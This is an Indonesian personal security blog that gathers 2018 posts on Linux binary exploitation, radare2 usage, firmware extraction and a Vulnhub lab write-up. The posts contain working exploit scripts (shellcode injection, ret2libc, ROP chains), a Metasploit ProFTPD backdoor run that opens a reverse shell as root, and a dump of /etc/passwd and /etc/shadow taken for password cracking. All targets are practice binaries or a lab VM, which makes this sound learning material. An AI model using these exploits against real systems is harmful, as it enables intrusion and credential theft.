Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Friday 26 October 2018

Summary : Linux Binary Exploitation

Artikel ini merupakan ringkasan selama 2 minggu ini mencoba untuk mempelajari linux binary exploitation. Sebagai catatan pribadi yang mungkin berguna dikemudian hari. Seperti artikel sebelumnya, saya hanya mencoba apa yang dituliskan oleh orang lain, untuk memahami sedikit demi sedikit tentang linux binary exploitation. Berikut ini beberapa referensi yang dipakai dalam pembelajaran: 

https://github.com/nnamon/linux-exploitation-course
https://ropemporium.com/guide.html
https://github.com/abatchy17/ROP-Emporium

Linux Binary Protection

https://github.com/nnamon/linux-exploitation-course/blob/master/lessons/5_protections/lessonplan.md

# gdb ./write432
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3A\
AIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAm\
ARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ pattern offset 0x41414641 
1094796865 found at offset: 44
gdb-peda$ 
$ ldd callme
 linux-vdso.so.1 (0x00007fff306bd000)
 libcallme.so => ./libcallme.so (0x00007fd3c2179000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd3c1fa1000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fd3c237d000)
https://github.com/niklasb/libc-database
$./add /lib/i386-linux-gnu/libc.so.6
$./dump local-0490256d1290b4c4fb59f37f9d3d87226d6500e6
offset___libc_start_main_ret = 0x199a1
offset_system = 0x0003d870
offset_dup2 = 0x000e6f60
offset_read = 0x000e6470
offset_write = 0x000e6540
offset_str_bin_sh = 0x17c968
# r2 -d write432

[0xf7f7d250]> aaa
[0xf7f7d250]> afl
0x080483c0    3 35           sym._init
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
0x08048470    1 6            sub.__gmon_start_470
0x08048480    1 33           entry0
0x080484b0    1 4            sym.__x86.get_pc_thunk.bx
0x080484c0    4 43           sym.deregister_tm_clones
0x080484f0    4 53           sym.register_tm_clones
0x08048530    3 30           sym.__do_global_dtors_aux
0x08048550    4 43   -> 40   entry1.init
0x0804857b    1 123          sym.main
0x080485f6    1 86           sym.pwnme
0x0804864c    1 25           sym.usefulFunction
0x08048680    4 93           sym.__libc_csu_init
0x080486e0    1 2            sym.__libc_csu_fini
0x080486e4    1 20           sym._fini
# objdump -d write432 -j .plt

08048430 :
 8048430: ff 25 18 a0 04 08     jmp    *0x804a018
 8048436: 68 18 00 00 00        push   $0x18
 804843b: e9 b0 ff ff ff        jmp    80483f0 <.plt>
# readelf --relocs write432

Relocation section '.rel.dyn' at offset 0x368 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000a05 R_386_COPY        0804a040   stderr@GLIBC_2.0
0804a060  00000c05 R_386_COPY        0804a060   stdin@GLIBC_2.0
0804a064  00000905 R_386_COPY        0804a064   stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x388 contains 7 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a020  00000707 R_386_JUMP_SLOT   00000000   setvbuf@GLIBC_2.0
0804a024  00000807 R_386_JUMP_SLOT   00000000   memset@GLIBC_2.0
# rabin2 -S write432
23 0x00000ffc     4 0x08049ffc     4 -rw- .got
24 0x00001000    40 0x0804a000    40 -rw- .got.plt
25 0x00001028     8 0x0804a028     8 -rw- .data
26 0x00001030     0 0x0804a040    44 -rw- .bss
32bit
#write /bin to ebp 4byte
payload += p32(pop_edi_ebp)
payload += p32(data_segment)
payload += '/bin'
payload += p32(mov_edi_ebp)
64bit
#write 8byte /bin/sh\x00
payload += p64(pop_r14_r15)
payload += p64(data_segment)
payload += '/bin//sh'
payload += p64(mov_r14_r15)
32bit system() ROP
#call system
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(data_segment)
64bit system() ROP
#call system
payload += p64(pop_rdi)
payload += p64(data_segment)
payload += p64(system_plt)
ROPgadget / ropper
$ ROPgadget --binary 1_staticnx  --ropchain
$ ropper --file ../Downloads/1_staticnx --chain execve --badbytes 000a0d

5 λ .: 2018 Artikel ini merupakan ringkasan selama 2 minggu ini mencoba untuk mempelajari linux binary exploitation. Sebagai catatan pribadi yang mungk...

Bypass NX, Ret2libc, ASLR OFF

Pada artikel sebelumnya, kita membahas bagaimana membypass NX menggunakan metode ROP. Namun, apabila binary yang ada tidak cukup besar untuk menghasilkan ROP gadget yang sesuai, maka metode ini tidak dapat digunakan. Alternatifnya, return address dapat dialihkan ke alamat libc (return to libc).

[binary]


ldd akan memberikan address libc yang ada pada 3_vulnerable, terletak pada 0xf7d38000. Address ini tidak akan berubah jika ASLR dalam keadaan disabled. Perbedaan dapat dilihat jika ASLR dinyalakan.


Alamat 0xf7d38000 akan disebut sebagai base address. Base address ini akan ditambahkan dengan offset dari fungsi yang ada pada libc, yang biasa digunakan dalam pembuatan payload adalah fungsi system(), read(), dll, selain itu kita juga harus mencari offset dari string dari /bin/sh.

Offset dari fungsi-fungsi diatas, tidak akan berubah, tetapi setiap versi dari libc yang dipakai memiliki offset yang berbeda. Tool ini dapat mempermudah untuk pencarian offset pada libc yang dipakai https://github.com/niklasb/libc-database


Maka untuk mendapatkan alamat system() pada saat diload adalah:
libc_system = base_address + offset_system
libc_binsh = base_address + offset_binsh



Payload yang akan dibuat kurang lebih seperti ini:

'A' * 76 | libc_system | dummy (BBBB) | libc_binsh

Di beberapa artikel dummy dapat diganti dengan exit().

from pwn import *

#offset___libc_start_main_ret = 0x199a1
#offset_system = 0x0003d870
#offset_dup2 = 0x000e6f60
#offset_read = 0x000e6470
#offset_write = 0x000e6540
#offset_str_bin_sh = 0x17c968

#libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd9000)

def main():
        base_address = 0xf7dd9000
        offset_system = 0x0003d870
        offset_binsh = 0x17c968

        libc_system = base_address + offset_system
        libc_binsh = base_address + offset_binsh

        payload = 'A' * 76
        payload += p32(libc_system)
        payload += 'BBBB'
        payload += p32(libc_binsh)

        p = process('../Downloads/3_vulnerable')
        p.send(payload)
        p.interactive()

if __name__ == '__main__':
        main()
Kira-kira kode lengkapnya seperti diatas.


5 λ .: 2018 Pada artikel sebelumnya, kita membahas bagaimana membypass NX menggunakan metode ROP. Namun, apabila binary yang ada tidak cukup besar untu...

Friday 19 October 2018

Bypass NX, ROP, ASLR OFF

Pada artikel sebelumnya kita membahas tentang bagaimana mengeksploitasi kelemanan buffer overflow menuju shellcode yang telah dibuat. Namun, kali ini kita akan membahas bagaimana jika proteksi No eXecution (NX) dinyalakan?

Dengan kondisi NX enable, maka program tidak dapat mengeksekusi shellcode yang berada pada buffer. Untuk mengatasi kondisi ini dapat dilakukan dengan ROP (Return Oriented Programming).

Artikel ini masih menggunakan pembelajaran yang ada pada repo https://github.com/nnamon/linux-exploitation-course/blob/master/lessons/6_bypass_nx_rop/lessonplan.md.

[binary] 


Hasil checksec NX dalam keadaan enable, sehingga cara exploit yang sebelumnya tidak akan berjalan pada kasus ini.



Didapat 148 byte sebelum mencapai return address, lain dengan exploit pada artikel sebelumnya, return address kali ini akan diisi dengan ROP Gadget yang disusun dengan menggunakan ROPgadget.

ROPgadget --binary ../Downloads/1_staticnx  --ropchain


Maka, payload yang akan dibuat menjadi : 'A' * 148 + ROP gadget

jika disatukan menggunakan pwntools, kode lengkapnya seperti dibawah ini:


Pada akhir artikel tersebut, terdapat pertanyaan :

However, using this payload in a modified script does not work. Can you figure out why and fix it?

Itu terjadi karena adanya character null byte yang mengiterupsi shellcode yang dibuat. Agar ropgadget yang dibuat menggunakan ropper berjalan, maka option menghilangkan null byte harus disertakan:

ropper --file ../Downloads/1_staticnx --chain execve --badbytes 000a0d


Kombinasikan dengan pwntools, maka kode lengkapnya seperti ini:


5 λ .: 2018 Pada artikel sebelumnya kita membahas tentang bagaimana mengeksploitasi kelemanan buffer overflow menuju shellcode yang telah dibuat. Namun...

Thursday 18 October 2018

Simple Buffer Overflow

Topik kali ini masih mengenai buffer overflow, setelah pada artikel sebelumnya mengenal control eip dengan memanfaatkan buffer overflow sehingga bisa mengubah alur program. Pada artikel kali ini, saya akan mencoba untuk menjelaskan buffer overflow yang dilarikan kepada shellcode yang dimasukkan ke dalam buffer.

Bahan yang digunakan pada artikel kali ini, diambil dari https://github.com/nnamon/linux-exploitation-course, menurut saya ini merupakan salah satu bahan belajar yang bagus untuk pemula seperti saya dalam mengenal linux exploitation.

Classic Exploitation Technique

[source]

 

Jika dilihat pada function vuln() terdapat variable buffer sebesar 16, kemudian pada function read(), jumlah byte yang dibaca sebesar 100. function read ini yang nantinya akan dicoba untuk dieksploitasi.

Sebelumnya, pastikan ASLR dalam keadaan off:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Langkah yang pertama dilakukan adalah pencarian besar byte yang dibutuhkan untuk menimpa return address.




Dari hasil pencarian menggunakan gdb, didapat angka 28.




Perhatikan pada input kedua yang telah dimodifikasi dari hasil yang telah didapat pada langkah sebelumnya. 0x42424242 (BBBB) merupakan posisi return address yang akan di overwrite. Pertanyaan selanjutnya, dimana kita akan meletakkan shellcode pada buffer?

Pada kasus ini, shellcode diletakkan setelah return address, karena ukuran buffer yang cukup kecil (16 byte) + 12 byte sebelum return address. Sementara besar shellcode pada artikel tersebut sekitar 45 byte.


alamat buffer pada stack adalah 0xffffd280
 

Maka kalkulasi alamat setelah 0x42424242 adalah 0xffffd280 + 28 + 4

Berikut ini adalah kode lengkapnya.

from pwn import *

def main():
        p = process('../Downloads/1_vulnerable')
        print str(p.proc.pid)
        ret = 0xffffd2a0 + 28 + 4
        payload = "A" * 28 + p32(ret)
        shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46$
             "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40$
             "\x80\xe8\xdc\xff\xff\xff/bin/sh")
        padding = "\x90" * (40-len(payload)-len(shellcode))
        payload = payload + padding + shellcode
        p.send(payload)
        p.interactive()

if __name__ == "__main__":
        main()
# Menggunakan shellcode pwntools
from pwn import *

def main():
        p = process('../Downloads/1_vulnerable')
        print str(p.proc.pid)
        ret = 0xffffd2a0 + 28 + 4
        payload = "A" * 28 + p32(ret)
        shellcode = asm(shellcraft.sh())
        padding = "\x90" * (40-len(payload)-len(shellcode))
        payload = payload + padding + shellcode
        p.send(payload)
        p.interactive()

if __name__ == "__main__":
        main()

Running




5 λ .: 2018 Topik kali ini masih mengenai buffer overflow, setelah pada artikel sebelumnya mengenal control eip dengan memanfaatkan buffer overflow seh...

Thursday 3 May 2018

Mencoba, Firmware Extraction

Beberapa waktu lalu, betebaran artikel tentang firmware analysis yang masih sangat asing bagi saya yang masih awam. Artikel ini memberikan inspirasi untuk mencoba hal baru, paling tidak, dapat mengetahui apa itu firmware analysis, bagaimana prosesnya, dan seberapa menyenangkan proses analisa firmware ini. Sebelumnya, saya juga bingung untuk menentukan judul yang tepat untuk artikel ini, yang dilakukan disini hanya sebagian kecil yang saya praktekan setelah membaca artikel yang ada digoogle, kurang lebih meliputi firmware extraction. Ada beberapa firmware yang dijadikan contoh untuk diextract seperti TP-link, Xiaomi Yi Camera Home.

1. TP-Link WR-902ACv3


Untuk firmware dapat diunduh dari situs resmi TP-Link, terdapat banyak jenis produk TP-Link disana. Binwalk, merupakan tool yang digunakan dalam artikel kali ini.



Dapat dilihat, firmware TP-Link ini terdapat 3 bagian yang terbaca oleh binwalk, yang pertama bagian U-Boot, kedua LZMA compressed data, yang ketiga Squashfs filesystem. U-boot (Universal bootloader digunakan sebagai bootloader pada firmware ini, sementara bagian LZMA ini corupt setelah saya coba decompress menggunakan unlzma. Bagian paling akhir merupakan bagian yang paling menarik bagi saya. Squashfs filesystem, berisi direktori lengkap seperti linux pada umumnya. Ada beberapa cara firmware extraction, ada yang menggunakan binwalk, atau bisa juga menggunakan dd.



Cara yang praktis dapat menggunakan binwalk dengan opsi -e, segala jenis file format yang dikenali langsung diextract oleh binwalk, kemudian jika ada filesystem yang dikenali, dapat langsung diextract juga menjadi direktori baru, contohnya pada kasus ini filesystem squashfs langsung diekstract dan menghasilkan direktori baru bernama squashfs-root. Cara manual dapat menggunakan dd, kemudian filesystem squashfs diektract lagi menggunakan unsquashfs.



2. Xiaomi Yi Camera Home 2


Produk kedua dalam percobaan ini dalah XiaomiYi Camera Home 2, merupakan salah satu produk camera dari xiaomi. Untuk firmware bisa didapatkan di website resmi xiaomi.



Setelah dicek menggunakan binwalk, terdapat deskripsi yang baru saya temui, yaitu UBI. UBI atau UBIFS merupakan sebuah file system, sama seperti filesystem lain (squasfs, NTFS, dll) yang artinya saya harus mencari cara lain untuk mengekstrak UBIFS ini.

https://github.com/jrspruitt/ubi_reader/blob/master/README.md

Salah satu tool yang bisa dipakai untuk mengekstrak UBIFS ini dapat menggunkan ubi reader.



Setelah diekstrak, mulai terlihat struktur direktori dari Xiaomi Yi Camera Home 2.



Untuk mencari informasi arsitektur processor yang digunakan dapat menggunakan readelf, berguna pada saat analisa lanjutan pada binary analysis. Informasi yang didapat seperti 32/64bit arch, processor (ARM,MIPS,dll).

Next, analisa lebih dalam yang perlu dilakukan seperti explorasi file yang penting seperti konfigurasi server maupun web app yang ada pada firmware, dynamic analisis (emulasi) firmware yang berhasil diextract, dll. Sebagai percobaan pertama, saya juga masih kebingungan untuk mengekstrak beberapa firmware, dimana binwalk tidak mampu mengenali jenis file system, maupun section yang dianggap penting dalam firmware.
5 λ .: 2018 Beberapa waktu lalu, betebaran artikel tentang firmware analysis yang masih sangat asing bagi saya yang masih awam. Artikel ini memberikan ...

Thursday 19 April 2018

Radare 2 : Simple Buffer Overflow

Melanjutkan seri radare2 yang sempat ditulis pada artikel sebelumnya, kali ini akan membahas penggunaan radare2 untuk mengexploitasi kelemahan buffer overflow. Di tahun sebelumnya, ada artikel yang membahas tentang teori buffer overflow, namun pada saat itu masih menggunakan gdb, artikelnya dapat dibaca disini [mengenal buffer overflow].

Untuk tulisan kali ini binary yang dipakai berasal dari pwnable.kr dan binary lain, dapat didownload di github kami,
  1. bof
  2. bof.c (source) 
  3. remote

32bit

Pada bof.c, terdapat fungsi yang vulnerable terhadap buffer overflow, yaitu gets. Input (key) akan dibandingkan dengan nilai 0xcafebabe, jika benar, maka akan menjalankan /bin/sh. Goalnya adalah memanipulasi nilai key menjadi '0xcafebabe' dengan memanfaatkan buffer overflow.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
 char overflowme[32];
 printf("overflow me : ");
 gets(overflowme); // smash me!
 if(key == 0xcafebabe){
  system("/bin/sh");
 }
 else{
  printf("Nah..\n");
 }
}
int main(int argc, char* argv[]){
 func(0xdeadbeef);
 return 0;
}

Pada bof.c, terdapat fungsi yang vulnerable terhadap buffer overflow, yaitu gets. Input (key) akan dibandingkan dengan nilai 0xcafebabe, jika benar, maka akan menjalankan /bin/sh.


Mencari Posisi 0xdeadbeef pada stack



Analyze (aaa) kemudian list function yang ada pada bof (afl).



Lanjut dengan, dissassembly main function (pdf@main).


Terlihat, pada fungsi main, terdapat fungsi lain yang dipanggil, yaitu sym.func. Pada source yang disertakan fungsi func disertakan juga nilai key = 0xdeadbeef. Untuk menentukan breakpoint yang tepat, dissassembly sym.func (pdf@sym.func).


Pasang breakpoint pada alamat 0x565cd654 (db 0x565cd654). Posisi ini ideal karena pada alamat ini instruksi cmp dijalankan.


Lanjutkan debugger menuju breakpoint yang telah dipasang (dc).



Pada posisi ini, cek isi top stack (pxw @esp) akan terlihat jelas posisi buffer dan ledak dari 0xdeadbeef yang akan timpa oleh nilai 0xcafebabe.


Dapat dilihat, bahwa input yang kita berikan tampil dekat dengan 0xdeadbeef, silahkan discroll lagi keatas untuk melihat source code dari bof.c. Besar dari buffer adalah 32, sementara masih tersisa beberapa byte lagi untuk sampai ke 0xdeadbeef.



Maka payload yang dibuat sebesar 32 + 20 + 0xcafebabe.

Scripting

Sebenarnya penyelesaian dengan one liner python bisa saja dilakukan, contohnya seperti ini.



 Tetapi, kali ini akan ada tambahan ngode dengan menggunakan pwntools.





64bit

Untuk kasus yang kedua ini sedikit berbeda dengan yang pertama, exploitasi dilakukan dengan menimpa return address memanfaatkan buffer yang tidak diproteksi.



Ada beberapa fungsi selain fungsi main, yaitu fungsi simulasi dan nono. Setelah ditelusuri, ternyata fungsi simulasi tidak dipanggil, baik di fungsi main maupun nono.




Fungsi simulasi ternyata dapat mencetak flag.txt menggunakan system().Fungsi ini dapat dimanfaatkan untuk mengalihkan return address untuk mencetak flagnya.



Breakpoint dipasang pada alamat 0x004005c4 (db 0x004005c4) untuk mengamati stack setelah fungsi read.



Untuk mencapai return address, terdapat beberapa byte setelah buffer, termasuk rbp yang disimpan. Perhitungannya 17*8 = 136, untuk payload yang dibuat kira-kira menjadi 136+8 byte(address fungsi simulasi).



Sementara solusi yang melalui network dapat dibuat lagi menggunakan pwntools, aktifkan socat untuk simulasi menggunakan jaringan localhost.

root@xd:~/Downloads# socat tcp-listen:8000,reuseaddr,fork exec:./remote

Isi remote.py
from pwn import *
r = remote('127.0.0.1',8000)
simulasiaddr = p64(0x00400596)
payload = 'A'*136
print simulasiaddr
print r.recv()
r.sendline(payload+simulasiaddr)
print r.recv()



Sekian artikel sederhana ini kami buat, memang masih banyak kekurangan yang harus diperbaiki, kritik dan saran silahkan disampaikan di kolom komentar.
5 λ .: 2018 Melanjutkan seri radare2 yang sempat ditulis pada artikel sebelumnya, kali ini akan membahas penggunaan radare2 untuk mengexploitasi kelemah...

Thursday 8 March 2018

Radare 2 : Pengenalan (Part 1)

Bermula dari pengalaman mencari dokumentasi radare yang masih sedikit (terutama dalam bahasa indonesia), saya mencoba untuk menulis seri tentang radare.

Instalasi

Paket instalasi radare 2 dapat diunduh di github resminya, https://github.com/radare/radare2
sudo git clone https://github.com/radare/radare2.git
cd radare2
sudo sys/install.sh
Dalam paket radare2 yang terinstall, terdapat aplikasi kecil pendukung antara lain:

radare2

Merupakan aplikasi utama yang digunakan untuk men-debug suatu program, disassembly, bahkan patching.

rabin2

Program yang digunakan untuk mengekstrak informasi dari binary seperti ELF, Java CLASS, and Mach-O. Informasi yang dapat diekstrak seperti arsitektur, binary type, class, endian, OS, serta informasi yang biasa digunakan untuk exploit development seperti va randomisazion, nc, canary, dll. Termasuk library yang diimport ke dalam program.
root@xd:~/cpp# rabin2 hello
Usage: rabin2 [-AcdeEghHiIjlLMqrRsSUvVxzZ] [-@ at] [-a arch] [-b bits] [-B addr]
              [-C F:C:D] [-f str] [-m addr] [-n str] [-N m:M] [-P[-P] pdb]
              [-o str] [-O str] [-k query] [-D lang symname] | file
root@xd:~/cpp# rabin2 -I hello
arch     x86
binsz    6500
bintype  elf
bits     64
canary   false
class    ELF64
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      true
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

rasm2

Program yang digunakan untuk merubah kode hex menjadi asm atau sebaliknya (assembler/dissassembler).
root@xd:~/cpp# rasm2 -a x86 -d 554889e5 -b 64
push rbp
mov rbp, rsp
root@xd:~/cpp# rasm2 -a x86 -b 64 'push rbp;mov rbp,rsp'
554889e5

rahash2

Program yang digunakan untuk menghitung hash dari binary, biasa digunakan untuk identifikasi suatu binary.
root@xd:~/cpp# rahash2 hello -a md5,sha1,sha256
hello: 0x00000000-0x000020e7 md5: fd0424835991263e9d5e3b1662b7df6a
hello: 0x00000000-0x000020e7 sha1: 388bd716c5d925ca8fb9fd67f9af31a1c03a76a9
hello: 0x00000000-0x000020e7 sha256: 726dedfea8fbd3fc70acb5da81b2dc5ec9175c11395df4387cb2a2c6d0884874

radiff2

Program yang digunakan untuk melihat perbedaan antara 2 binary program yang ada, berguna pada saat prosess patching, maupun membandingkan program yang identik.
root@xd:~/cpp# radiff2 -AsC hello hello2
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
              fcn.0000021a  30 0x21a |   MATCH  (1.000000) | 0x21a   30 fcn.0000021a
                 sym._init  23 0x4f0 |   MATCH  (1.000000) | 0x4f0   23 sym._init
            sym.imp.printf  32 0x520 |   MATCH  (1.000000) | 0x520   32 sym.imp.printf
sub.__cxa_finalize_248_530  16 0x530 |   MATCH  (1.000000) | 0x530   16 sub.__cxa_finalize_248_530
                    entry0  43 0x540 |   MATCH  (0.953488) | 0x540   43 entry0
  sym.deregister_tm_clones  40 0x570 |   MATCH  (1.000000) | 0x570   40 sym.deregister_tm_clones
    sym.register_tm_clones  57 0x5b0 |   MATCH  (1.000000) | 0x5b0   57 sym.register_tm_clones
 sym.__do_global_dtors_aux  49 0x600 |   MATCH  (1.000000) | 0x600   49 sym.__do_global_dtors_aux
           sym.frame_dummy  10 0x640 |   MATCH  (1.000000) | 0x640   10 sym.frame_dummy
                  sym.main  28 0x64a |   MATCH  (0.600000) | 0x64a   45 sym.main
       sym.__libc_csu_init 101 0x670 | UNMATCH  (0.970297) | 0x680  101 sym.__libc_csu_init
       sym.__libc_csu_fini   2 0x6e0 |   MATCH  (1.000000) | 0x6f0    2 sym.__libc_csu_fini
 sym.imp.__libc_start_main  60 0x0 |   MATCH  (1.000000) | 0x0   60 sym.imp.__libc_start_main
                 sym._fini   9 0x6e4 |   MATCH  (1.000000) | 0x6f4    9 sym._fini

rafind2

Program yang digunakan untuk mencari string, hexpair string, dll
root@xd:~/cpp# rafind2 -r -s 'hello' hello
f hit0_0 0x000006f4 ; hello
f hit0_1 0x000016f0 ; hello

ragg2

Program yang digunakan untuk meng-compile simple high-level language, biasanya digunakan untuk membuat payload sederhana.
root@xd:~/cpp# ragg2-cc -x payload.c
eb00488d351d000000bf01000000ba07000000b8010000000f0531ffb83c0000000f0531c0c348656c6c6f210a00

rarun2

program launcher yang digunakan untuk menjalankan program di environment yang berbeda dengan argument, permission, argument, file descriptor, permission yang berbeda.

rax2

digunakan untuk mengkonversi antara byte, hex, ascii, int, dll, bahkan base62 encoding.
root@xd:~/cpp# rax2 10
0xa
root@xd:~/cpp# rax2 0xa
10
root@xd:~/cpp# rax2 -s 414141
AAA

Pada bagian pertama ini cukup sekian, untuk bagian selanjutnya akan membahas radare2 (r2) lebih mendalam, jika ada tambahan/saran, silahkan komentar di bawah ini.
5 λ .: 2018 Bermula dari pengalaman mencari dokumentasi radare yang masih sedikit (terutama dalam bahasa indonesia), saya mencoba untuk menulis seri ten...

Wednesday 21 February 2018

[Vulnhub] Basic Pentesting 1

This is my write up how to pwn this box, if you have another solution, please comment below.

You can download the box on this link https://www.vulnhub.com/entry/basic-pentesting-1,216/

Information Gathering

First, I want to know virtualbox IP address that assigned to the box.
root@sempur:~# netdiscover -r 192.168.40.0/24 -i eth1
Currently scanning: Finished!   |   Screen View: Unique Hosts                 
                                                                               
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.40.1    08:00:27:ce:cd:b1      1      60  PCS Systemtechnik GmbH      
 192.168.40.1    0a:00:27:00:00:0a      1      60  Unknown vendor              
 192.168.40.100  08:00:27:14:06:50      1      60  PCS Systemtechnik GmbH 
* this result maybe difference, based on your virtualbox configuration

After that, I want to know what services are running on this box. In this case, I used Nmap to know version, port, OS, etc.
root@sempur:~# nmap -sV 192.168.40.100

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-12 15:24 WIB
Nmap scan report for 192.168.40.100
Host is up (0.00020s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:14:06:50 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
You can see the result, there is FTP, SSH, HTTP services running on this box. I need to know, which services are vulnerable.

Exploring FTP service

Based on nmap result, this server using ProFTPD version 1.3.3c which is vulnerable to backdoor command execution. You can find by googling or using searchsploit for more information.

https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor
root@sempur:~# msfconsole
msf > use exploit/unix/ftp/proftpd_133c_backdoor 
msf exploit(proftpd_133c_backdoor) > set rhost 192.168.40.100
rhost => 192.168.40.100
msf exploit(proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.40.101:4444 
[*] 192.168.40.100:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qZBpq8Ol9KN6lYs4;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "qZBpq8Ol9KN6lYs4\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.40.101:4444 -> 192.168.40.100:39812) at 2018-02-21 13:59:27 +0700

whoami
root
By using this exploit, you got root access, so you can explore this box as root.

Accessing SSH

After I got root by exploiting ProFTPD, I try to find another way to get in the box. Based on nmap result, there is SSH service running on this box. So, I think I can use this way to login as another user. I can use /etc/passwd and /etc/shadow to get password using john.

/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin

/etc/shadow
root:!:17484:0:99999:7:::
